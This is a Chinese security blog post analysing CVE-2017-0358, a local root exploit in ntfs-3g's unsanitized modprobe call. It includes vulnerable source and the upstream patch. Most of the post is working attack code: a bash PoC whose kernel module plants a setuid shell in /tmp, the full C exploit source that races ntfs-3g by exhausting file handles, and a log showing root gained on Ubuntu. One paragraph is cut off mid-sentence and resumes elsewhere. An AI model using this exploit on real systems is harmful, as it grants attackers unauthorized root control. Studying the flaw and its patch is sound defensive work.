NTFS 3g本地提权漏洞—【CVE-2017-0358】

小憨 / 2017-03-09 02:43:00 / 浏览数 3975 安全技术 漏洞分析 顶(0) 踩(0)

0x00 ntfs-3g (Debian 9) - Privilege Escalation

最近研究了下CVE-2017-0358，Linux下的本地提权漏洞，记录下学习历程。最初是在exploit-db上发现该漏洞ntfs-3g (Debian 9) - Privilege Escalation，并附有EXP，在简单学习了FUSE、NTFS-3G等基础概念后尝试利用作者给出的EXP复现漏洞。EXP如下：

```
#!/bin/bash
echo "@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@"
echo "@  CVE-2017-0359, PoC by Kristian Erik Hermansen  @"
echo "@  ntfs-3g local privilege escalation to root     @"
echo "@  Credits to Google Project Zero                 @"
echo "@  Affects: Debian 9/8/7, Ubuntu, Gentoo, others  @"
echo "@  Tested: Debian 9 (Stretch)                     @"
echo "@  Date: 2017-02-03                               @"
echo "@  Link: https://goo.gl/A9I8Vq                    @"
echo "@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@"
echo "[*] Gathering environment info ..."
cwd="$(pwd)"
un="$(uname -r)"
dlm="$(pwd)/lib/modules"
dkf="$(pwd)/kernel/fs"
echo "[*] Creating kernel hijack directories ..."
mkdir -p "${dlm}"
mkdir -p "${dkf}"
echo "[*] Forging symlinks ..."
ln -sf "${cwd}" "${dlm}/${un}"
ln -sf "${cwd}" "${dkf}/fuse"
ln -sf cve_2017_0358.ko fuse.ko
echo "[*] Pulling in deps ... "
echo "[*] Building kernel module ... "

cat << 'EOF' > cve_2017_0358.c
#include <linux/module.h>

MODULE_LICENSE("CC");
MODULE_AUTHOR("kristian erik hermansen <kristian.hermansen+CVE-2017-0358@gmail.com>");
MODULE_DESCRIPTION("PoC for CVE-2017-0358 from Google Project Zero");

int init_module(void) {
 printk(KERN_INFO "[!] Exploited CVE-2017-0358 successfully; may want to patch your system!\n");
 char *envp[] = { "HOME=/tmp", NULL };
 char *argv[] = { "/bin/sh", "-c", "/bin/cp /bin/sh /tmp/r00t; /bin/chmod u+s /tmp/r00t", NULL };
 call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
 char *argvv[] = { "/bin/sh", "-c", "/sbin/rmmod cve_2017_0358", NULL };
 call_usermodehelper(argv[0], argvv, envp, UMH_WAIT_EXEC);
 return 0;
}

void cleanup_module(void) {
 printk(KERN_INFO "[*] CVE-2017-0358 exploit unloading ...\n");
}
EOF

cat << 'EOF' > Makefile
obj-m += cve_2017_0358.o

all:
   make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules

clean:
   make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
EOF
```

```
make 1>/dev/null 2>/dev/null || echo "[-] FAILED: your need make / build tools"
cp "/lib/modules/${un}/modules.dep.bin" . || echo "[-] FAILED: linux-image location non-default?"
MODPROBE_OPTIONS="-v -d ${cwd}" ntfs-3g /dev/null /dev/null 1>/dev/null 2>/dev/null
/tmp/r00t -c 'whoami' | egrep -q 'root' && echo "[+] SUCCESS: You have root. Don't be evil :)"
/tmp/r00t
```

疑惑的是无论如何测试，始终不成功，最后怀疑是`modprobe`函数的问题，查看官方文档，给出如下解释：

> The modprobe command silently succeeds with an exit status of 0 if it successfully loads the module, or the module is already loaded into the kernel.Thus, you must ensure that the module is not already loaded before attempting to load it with custom parameters. The modprobe command does not automatically reload the module, or alert you that it is already loaded.

也就是说，无法解决在系统已加载FUSE模块的前提下重新加载FUSE，并使临时参数生效的问题。黔驴技穷，于是发邮件给作者，作（骗）者（子）赤果果的say：“need additional modification，you have to make me an offer”,shit...

（注：jannh已在www.exploit-db.com上发布有效版本，ntfs-3g - Unsanitized modprobe Environment Privilege Escalation）

0x01 ntfs-3g: modprobe is executed with unsanitized environment

---

在经历过艰苦的search之后，终于发现了漏洞的真正作者project zero的jannh(ntfs-3g: modprobe is executed with unsanitized environment)。

漏洞存在于NTFS-3G之中，该程序是由Tuxera公司开发并维护的开源项目，目的是为Linux提供NTFS分区的驱动程序，实现对NTFS文件系统的读写。该程序默认安装在Ub
()函数之中：

```
static fuse_fstype load_fuse_module(void)
{
  int i;
  struct stat st;
  pid_t pid;
  const char *cmd = "/sbin/modprobe";
  struct timespec req = { 0, 100000000 };   /* 100 msec */
  fuse_fstype fstype;

  if (!stat(cmd, &st) && !geteuid()) {
      pid = fork();
      if (!pid) {
          execl(cmd, cmd, "fuse", NULL);
          _exit(1);
      } else if (pid != -1)
          waitpid(pid, NULL, 0);
      }

  for (i = 0; i < 10; i++) {
      /*
       * We sleep first because despite the detection of the loaded
       * FUSE kernel module, fuse_mount() can still fail if it's not
       * fully functional/initialized. Note, of course this is still
       * unreliable but usually helps.
       */
      nanosleep(&req, NULL);
      fstype = get_fuse_fstype();
      if (fstype != FSTYPE_NONE)
          break;
  }
  return fstype;
}
```

当NTFS-3G被调用时，利用`get_fuse_fstype()`检测当前系统是否加载FUSE模块，若未加载，则利用`load_fuse_module()`中的`modprobe`，加载FUSE模块。

```
static fuse_fstype get_fuse_fstype(void)
{
   char buf[256];
   fuse_fstype fstype = FSTYPE_NONE;

   FILE *f = fopen("/proc/filesystems", "r");
   if (!f) {
       ntfs_log_perror("Failed to open /proc/filesystems");
       return FSTYPE_UNKNOWN;
   }
   while (fgets(buf, sizeof(buf), f)) {
       if (strstr(buf, "fuseblk\n")) {
           fstype = FSTYPE_FUSEBLK;
           break;
       }
       if (strstr(buf, "fuse\n"))
           fstype = FSTYPE_FUSE;
   }

   fclose(f);
   return fstype;
}
```

问题在于，`modprobe`的设计初衷并不是运行在一个setuid的环境当中，而NTFS-3G却需要setuid的权限。在`modprobe`的man文档中明确指出：

> The MODPROBE_OPTIONS environment variable can also be used to pass arguments to modprobe.

因此，在一个尚未加载FUSE 的系统中，攻击者可以通过设置环境变量MODPROBE_OPTIONS "-C /tmp/evil_config -d /tmp/evil_root"，强制`modprobe`加载恶意配置文件，导致攻击者具备加载任意代码到系统内核的能力。

在现实情况中，FUSE在大部分系统中已被作为内核的一部分，基本都处于已加载的状态，也就是文章伊始提到的问题。jannh对这个问题给出了一种解决思路，通过耗尽系统范围内所有进程可以打开的文件句柄的数量(/proc/sys/fs/file-max)，使得NTFS-3G在`fopen("/proc/filesystems", "r")`时异常，导致`get_fuse_fstype()`返回FSTYPE_UNKNOWN，在主函数中触发`load_fuse_module()`函数。

```
fstype = get_fuse_fstype();

err = NTFS_VOLUME_NO_PRIVILEGE;
if (restore_privs())
   goto err_out;

if (fstype == FSTYPE_NONE || fstype == FSTYPE_UNKNOWN)
   fstype = load_fuse_module();
create_dev_fuse();

if (drop_privs())
   goto err_out;
```

0x02 Attack

jannh给出了EXP，通过测试成功在Ubuntu Server 16.10、kali 4.3中实现提权，在Debian 8中测试失败。测试如下：（注：在VM中测试时，需要多CPU的支持）

```
user@ubuntu:~$ tar xf ntfs-3g-modprobe-unsafe.tar

user@ubuntu:~$ cd ntfs-3g-modprobe-unsafe/

user@ubuntu:~/ntfs-3g-modprobe-unsafe$ ./compile.sh

make: Entering directory '/usr/src/linux-headers-4.8.0-32-generic'

 CC [M]  /home/user/ntfs-3g-modprobe-unsafe/rootmod.o

 Building modules, stage 2.

 MODPOST 1 modules

 CC      /home/user/ntfs-3g-modprobe-unsafe/rootmod.mod.o

 LD [M]  /home/user/ntfs-3g-modprobe-unsafe/rootmod.ko

make: Leaving directory '/usr/src/linux-headers-4.8.0-32-generic'

depmod: WARNING: could not open /home/user/ntfs-3g-modprobe-unsafe/depmod_tmp//lib/modules/4.8.0-32-generic/modules.order: No

depmod: WARNING: could not open /home/user/ntfs-3g-modprobe-unsafe/depmod_tmp//lib/modules/4.8.0-32-generic/modules.builtin: N

user@ubuntu:~/ntfs-3g-modprobe-unsafe$ ./sploit
```

```
looks like we won the race

got ENFILE at 198088 total

Failed to open /proc/filesystems: Too many open files in system

yay, modprobe ran!

modprobe: ERROR: ../libkmod/libkmod.c:514 lookup_builtin_file() could not open builtin file '/tmp/ntfs_sploit.u48sGO/lib/modul

modprobe: ERROR: could not insert 'rootmod': Too many levels of symbolic links

Error opening '/tmp/ntfs_sploit.u48sGO/volume': Is a directory

Failed to mount '/tmp/ntfs_sploit.u48sGO/volume': Is a directory

we have root privs now...

root@ubuntu:~/ntfs-3g-modprobe-unsafe# id

uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lxd),123(libvirt),127(sambashare),128
```

0x03 Code: Exploit.c

```
int main(void) {
/* prevent shell from backgrounding ntfs-3g when stopped */
pid_t initial_fork_child = fork();
if (initial_fork_child == -1)
   err(1, "initial fork");
if (initial_fork_child != 0) {
   int status;
   if (waitpid(initial_fork_child, &status, 0) != initial_fork_child)
       err(1, "waitpid");
   execl("rootshell", "rootshell", NULL);
   exit(0);
}

char buf[1000] = {0};
// Set up workspace with volume, mountpoint, modprobe config and module directory.
char template[] = "/tmp/ntfs_sploit.XXXXXX";
if (mkdtemp(template) == NULL)
   err(1, "mkdtemp");
char volume[100], mountpoint[100], modprobe_confdir[100], modprobe_conffile[100];
sprintf(volume, "%s/volume", template);
sprintf(mountpoint, "%s/mountpoint", template);
sprintf(modprobe_confdir, "%s/modprobe.d", template);
sprintf(modprobe_conffile, "%s/sploit.conf", modprobe_confdir);
if (mkdir(volume, 0777) || mkdir(mountpoint, 0777) || mkdir(modprobe_confdir, 0777))
   err(1, "mkdir");
int conffd = open(modprobe_conffile, O_WRONLY|O_CREAT, 0666);
if (conffd == -1)
   err(1, "open modprobe config");
int suidfile_fd = open("rootshell", O_RDONLY);
if (suidfile_fd == -1)
   err(1, "unable to open ./rootshell");
char modprobe_config[200];
sprintf(modprobe_config, "alias fuse rootmod\noptions rootmod suidfile_fd=%d\n", suidfile_fd);
if (write(conffd, modprobe_config, strlen(modprobe_config)) != strlen(modprobe_config))
   errx(1, "modprobe config write failed");
close(conffd);
// module directory setup
char system_cmd[1000];
sprintf(system_cmd, "mkdir -p %s/lib/modules/$(uname -r) && cp rootmod.ko *.bin %s/lib/modules/$(uname -r)/",
   template, template);
if (system(system_cmd))
   errx(1, "shell command failed");

// Set up inotify watch for /proc/mounts.
// Note: /proc/mounts is a symlink to /proc/self/mounts, so
// the watch will only see accesses by this process.
int inotify_fd = inotify_init1(IN_CLOEXEC);
if (inotify_fd == -1)
   err(1, "unable to create inotify fd?");
if (inotify_add_watch(inotify_fd, "/proc/mounts", IN_OPEN) == -1)
   err(1, "unable to watch /proc/mounts");

// Set up inotify watch for /proc/filesystems.
// This can be used to detect whether we lost the race.
int fs_inotify_fd = inotify_init1(IN_CLOEXEC);
if (fs_inotify_fd == -1)
   err(1, "unable to create inotify fd?");
if (inotify_add_watch(fs_inotify_fd, "/proc/filesystems", IN_OPEN) == -1)
   err(1, "unable to watch /proc/filesystems");

// Set up inotify watch for /sbin/modprobe.
// This can be used to detect when we can release all our open files.
int modprobe_inotify_fd = inotify_init1(IN_CLOEXEC);
if (modprobe_inotify_fd == -1)
   err(1, "unable to create inotify fd?");
if (inotify_add_watch(modprobe_inotify_fd, "/sbin/modprobe", IN_OPEN) == -1)
   err(1, "unable to watch /sbin/modprobe");

int do_exec_pipe[2];
if (pipe2(do_exec_pipe, O_CLOEXEC))
   err(1, "pipe");
pid_t child = fork();
if (child == -1)
   err(1, "fork");
if (child != 0) {
   if (read(do_exec_pipe[0], buf, 1) != 1)
       errx(1, "pipe read failed");
   char modprobe_opts[300];
   sprintf(modprobe_opts, "-C %s -d %s", modprobe_confdir, template);
   setenv("MODPROBE_OPTIONS", modprobe_opts, 1);
   execlp("ntfs-3g", "ntfs-3g", volume, mountpoint, NULL);
}
child = getpid();

// Now launch ntfs-3g and wait until it opens /proc/mounts
if (write(do_exec_pipe[1], buf, 1) != 1)
   errx(1, "pipe write failed");

if (read(inotify_fd, buf, sizeof(buf)) <= 0)
   errx(1, "inotify read failed");
if (kill(getppid(), SIGSTOP))
   err(1, "can't stop setuid parent");

// Check whether we won the main race.
struct pollfd poll_fds[1] = {{
   .fd = fs_inotify_fd,
   .events = POLLIN
}};
int poll_res = poll(poll_fds, 1, 100);
if (poll_res == -1)
   err(1, "poll");
if (poll_res == 1) {
   puts("looks like we lost the race");
   if (kill(getppid(), SIGKILL))
       perror("SIGKILL after lost race");
   char rm_cmd[100];
   sprintf(rm_cmd, "rm -rf %s", template);
   system(rm_cmd);
   exit(1);
}
puts("looks like we won the race");

// Open as many files as possible. Whenever we have
// a bunch of open files, move them into a new process.
int total_open_files = 0;
while (1) {
   #define LIMIT 500
   int open_files[LIMIT];
   bool reached_limit = false;
   int n_open_files;
   for (n_open_files = 0; n_open_files < LIMIT; n_open_files++) {
       open_files[n_open_files] = eventfd(0, 0);
       if (open_files[n_open_files] == -1) {
           if (errno != ENFILE)
               err(1, "eventfd() failed");
           printf("got ENFILE at %d total\n", total_open_files);
           reached_limit = true;
           break;
       }
       total_open_files++;
   }
   pid_t fd_stasher_child = fork();
   if (fd_stasher_child == -1)
       err(1, "fork (for eventfd holder)");
   if (fd_stasher_child == 0) {
       prctl(PR_SET_PDEATHSIG, SIGKILL);
       // close PR_SET_PDEATHSIG race window
       if (getppid() != child) raise(SIGKILL);
       while (1) pause();
   }
   for (int i = 0; i < n_open_files; i++)
       close(open_files[i]);
   if (reached_limit)
       break;
}

// Wake up ntfs-3g and keep allocating files, then free up
// the files as soon as we're reasonably certain that either
// modprobe was spawned or the attack failed.
if (kill(getppid(), SIGCONT))
   err(1, "SIGCONT");

time_t start_time = time(NULL);
while (1) {
   for (int i=0; i<1000; i++) {
       int efd = eventfd(0, 0);
       if (efd == -1 && errno != ENFILE)
           err(1, "gapfiller eventfd() failed unexpectedly");
   }
   struct pollfd modprobe_poll_fds[1] = {{
       .fd = modprobe_inotify_fd,
       .events = POLLIN
   }};
   int modprobe_poll_res = poll(modprobe_poll_fds, 1, 0);
   if (modprobe_poll_res == -1)
       err(1, "poll");
   if (modprobe_poll_res == 1) {
       puts("yay, modprobe ran!");
       exit(0);
   }
   if (time(NULL) > start_time + 3) {
       puts("modprobe didn't run?");
       exit(1);
   }
}
}
```

0x04 补丁代码，`load_fuse_module()`函数

---

http://seclists.org/oss-sec/2017/q1/307

```
struct stat st;
   pid_t pid;
   const char *cmd = "/sbin/modprobe";
+   char *env = (char*)NULL;
   struct timespec req = { 0, 100000000 };  /* 100 msec */
   fuse_fstype fstype;

   if (!stat(cmd, &st) && !geteuid()) {
           pid = fork();
           if (!pid) {
-                  execl(cmd, cmd, "fuse", NULL);
+                  execle(cmd, cmd, "fuse", NULL, &env);
                   _exit(1);
           } else if (pid != -1)
                   waitpid(pid, NULL, 0);
```

精韧不怠,日进有功

上一篇：S2-045漏洞分析 下一篇：【独家】我的企业安全推动

1. 0 条回复
   - 动动手指，沙发就是你的了！